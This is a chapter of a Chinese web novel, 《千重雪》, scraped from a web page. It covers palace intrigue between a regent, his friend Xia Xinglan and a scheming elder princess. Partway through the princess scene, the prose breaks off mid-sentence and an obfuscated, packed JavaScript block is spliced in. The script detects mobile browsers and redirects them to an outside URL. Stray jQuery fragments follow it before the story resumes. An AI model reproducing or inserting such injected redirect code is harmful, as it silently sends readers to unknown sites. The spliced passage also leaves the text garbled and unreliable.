5. 隔墙有耳,谨言慎行

作品:《千重雪

    “可是你不惜用自己的名声做局,值得吗?”夏星阑彻底明白了他当街斩人的用意,只是此法虽说给了长公主教训,可他的声誉却也受了重创,当街斩杀,那么多人都是亲眼目睹,早已没有了转圜余地。


    萧昀宸对任何事都游刃有余,可他还不由得为其担心,站在大殿当中来回踱步。


    他列出条条框框,主动帮萧昀宸分析利弊,“世家以江为首,江氏一族又与长公主关系匪浅,长公主又是皇亲,师兄现在在都城就处于劣势,倒不如你扔下这里朝政,什么也不管,什么也不想,跟着我回边疆,长公主的手暂时还伸不了那么长。”


    夏星阑来回转着圈,手上动作不停,时而抬手,时而扶额,叽叽喳喳。


    身上的衣服倒是也合他的性子,各种颜色叠合在一起,五花八门,那衣服在他手里就像是百色鸟的羽毛,让人眼花缭乱。


    萧昀宸早已习惯他的嘈杂,殿内冷清,听着他的声音也觉得有了人气。


    他不去看他,盯着手里其他折子,“我手里自有分寸,你不必忧心。”


    夏星阑见萧昀宸没有逼着他闭嘴,就觉得有了希望,便又开始了劝说。


    “你不懂,师兄,跟我回边疆,那里有山有水,我还发现了几个和都城相像,极为好玩的地方,去了那里,你也不会觉得无聊,而且边疆那里的烤肉一绝,我的手艺便是那里学来的,说起来,还没让你尝过我的手艺,反正保证你吃了一次,就忘不了第二次。”


    “聒噪。”此人许是在边疆待的时间过久,人待的傻了,话是滔滔不绝的往外淌。


    萧昀宸摁了摁眉心,沉声吩咐道,“行了,你要是不放心就留在京都,不用再回边疆去了,那里我重新派人前去。”


    话尽,他案前所燃的香断了。


    萧昀宸深深的看了男子一眼。


    “真的吗?我不用再来回奔波了。”夏星阑不可置信的看着他,高兴的险些跳起来,拽出腰间方才系上的草,放在眼前,调侃道,“看来,这草是我的幸运草,往日回都城我只带自己,也就今日,闲来无事摘了一根,竟然许了我今后的自由。”


    夏星阑也发觉了萧昀宸视线有些不对,深邃的目光瞧得他浑身不大舒服,可他不似连岳,没有长久练出来的眼力见,也品不出那灼灼目光中所含的意思,没多想,正在兴头上,他随意寻了个由头就准备离开。


    “行了,你还有一堆公务,我就不在这儿碍你的眼了。”


    萧昀宸点了点头,收回了落在他身上的视线,方才一时失神,一大滴笔墨滴在了白纸上,晕染出漆黑的一片,幸而收好了奏折,桌上只是一摊白纸。


    萧昀宸将沾有墨迹的白纸拿起来,准备先扔在一旁,等待批完公务再做处置,却听见夏星阑卖乖的调侃声音。


    “今后我在这儿帮你,你也可以歇下点力气干些别的事情,而不是一天到晚凑在书案,比如说尽快给我带回来一个嫂嫂,这府邸也不至于冷清至此。”


    夏星阑双手负在身后,步伐轻快,眼尽是戏谑,倒着往外出门。


    萧昀宸目光如炬,再次看向他已经多了几分戏谑,“我觉得你还是适合留在镇西。”说罢,他将手里的白纸捏成纸团。


    铺天盖地的压迫感接踵而来,夏星阑可不想成为他手里那张被揉作一团的白纸。


    “摄政王殿下一言九鼎,作为表率,应承的话,不能轻易收回,一言既出,驷马难追……”夏星阑被他的话噎住,知晓此地不宜再留,也装不出正经模样,只得先收起他二流子的话,绞尽脑汁想出几句往日用来阿谀奉承的场面话,不管说的正确与否,都扔了出来。


    夏星阑想要拍一拍脑门,猛然一转身,大步跨过门槛,紧忙的溜走了,“我自己去寻些乐子,你不用送了。”


    萧昀宸瞧着他仓皇溜走的背影,竟觉得有几分可爱,唇角不自觉的牵了牵。


    誉王府这里是多了夏星阑,便有了几分人气,府内多了笑声,可另一边的公主府却是一副截然不同的模样。


    压抑的宫殿里空气几近凝结,乌云密布,让人喘不上气来。


    几个时辰前长公主就显了端倪,格外的敏感挑剔,往常遇上这种时候,底下的侍女都不敢担待,小心的伺候着,不曾想今日还是有人撞到了枪口上,端上来的茶水用的竟是去年是茶叶。


    大殿主位上的女子站起来,将手中的茶盅重重的摔在地上,茶水四溅,摔得一地,觉得不解气,踢了一脚茶桌,长袖一拂,又将桌案的东西一扫而空,东西稀里哗啦的砸在地上,她怒呵道,“竟然连这点小事也做不好,我公主府平日待你们也不差,竟然敢当着我的面阳奉阴违。”


    此刻,大殿下面业已乌压压的跪倒一片丫鬟,头压的极低,大气也不敢直喘。


    姜慧月见状轻声劝解,“好了,公主这压抑了一下午的怒火也宣泄出来了,就先让她们下去吧。”


    “你算个什么东西也敢来管我的事?”萧怜云咬牙切齿道。


    姜慧月对其的羞辱早已司空见惯,她唇角的笑容未收,平静的开口,“殿下此刻生气那才是中了摄政王殿下的局,公主可以将暗卫藏在普通百姓中,保不齐公主府里也有摄政王的暗探,若是公主的一言一行被那暗探尽数汇报给摄政王,摄政王知晓目的达到,那对公主才是重创。”


    “好啊,我倒要看看江夫人有何高见?”萧怜云轻笑一声,拂了拂长袖,摒去一众侍从,“你们先下去吧。”


    大殿内只剩下她们二人,地上还有未清理的碎渣,姜慧月上前,扶着公主坐下,为其顺气,“说到底长公主还是为了摄政王殿下在长街斩杀侍卫的事情生气。”


    “长公主殿下息怒,不过是一个侍卫,算不得什么大事,真该生气的是誉王府,公主当心气坏了身子,就当是用他将那摄政王的声誉给毁了,也值当了,您气坏了身子可不值当。”


    “若要只是动手杀一个侍卫也罢了,可他这分明就是故意的,你难道看不出来?分明就是在当着百姓的面打我的脸。”萧怜云就不信萧昀宸察觉不出这是她的旗子,本应等着他来质问,让其吃个哑巴暗亏,却反被他将了一军,到现在也是她越回想越生气,咽不下这口


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019181|162182||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    气,“萧昀宸这是在向我示威,岂有此理。”


    姜慧月不作此想,反倒觉得这是一个千载难逢的好机会,可以先把水给搅混了,再言其他,“殿下,您是忘了几年前的摄政王殿下了,只是时间久了,百姓包括您都忘了这件事,更要该寻个好时机让这些事情重新露头。”


    “那次才算是真的,险些血洗了皇宫,这才有了摄政王暴戾嗜血的流言,他若是真的能忍气吞声,反倒不是他的真面貌,如今我们不过是少了一个小侍卫,却也让他知道我们公主府不容小觑,殿下只待养精蓄锐,在这都城里收拢民心便好,更何况,那些都城内的世家哪一个不是以长公主为尊,摄政王越不得民心,对我们便是越好,其他的都是次要的。”


    “那便这两日叫底下人寻个机会,将之前萧昀宸的所做那些事情播散出去。”


    萧怜云应声,仔细的盯着她全身打量,唇角微微牵动,“你倒是比我聪明许多。”


    “对了,公主给摄政王的请柬可有派人发去?”


    “请他来我的宴会干吗?他那一张脸来,入席后,整个宴会里除却我几人敢动弹,他一来,搅了我的好心情不说,再掀了我的场子,我岂不是自讨没趣?还是说等他来了看他如何在我的宴会上搅弄风云,弄的我下不来台,他一闹走后,留下我自己再来收拾残局吗?”


    “长公主多心了,请摄政王殿下前来,自然别有用处。”


    姜慧月细数着利弊,同长公主一一道来。


    “沈漪和环楠的婚约作废,他若是在现场,岂不是省去许多麻烦?他亲眼所见,沈家那个庶女犯了大错,得罪了长公主,这才了了这桩婚事,他必然也不法多说,他若是不说,给环楠另娶高门大户的嫡女,自然没萧昀宸人再敢置喙。”


    “你说的不错,这萧昀宸若是来做个见证者,便也说不出什么别的话来。”


    萧怜云仍有些踟蹰,“只是,此人行事无度无量,就怕没利用成反倒是让他毁了这场宴会,岂不是得不偿失?”


    “公主且先将请柬呈上去,我们将东西送到,届时来与不来,在于摄政王殿下。”姜慧月含笑道。


    夜间雪又纷沓而至,鹅白色的大雪层层很快覆盖了大地。


    下着雪,路面有之前结过冰的还有已经化了的雨水,又光又滑,格外难行。


    冷风刮的人脸生疼,木木一时有些怒火,毫不遮拦说,“夜间道路难行,这又下着大雪,行路更是崎岖,小姐,夫人现下派人来寻我们,分明是刻意为难。”


    沈漪将手指放在嘴唇上,比了比,轻声,“隔墙有耳,谨言慎行。”


    喝了风,沈漪说完,便咳嗽了几声。


    寡言多行方能走的长远。


    屋里的灯火通明,炉子里烧的暖碳更是让屋子格外敞亮。


    沈漪一行三人先后跨过门槛,一踏进屋内才觉身上渐渐有了温度,瞧见高高的几座上各自做好的两人,两人高座俯视着下面的人,没有起身相迎的意思,沈漪了然,没有被下面子的情怯,她含着笑,遵照礼数参拜两位,“参见夫人,参见府君。”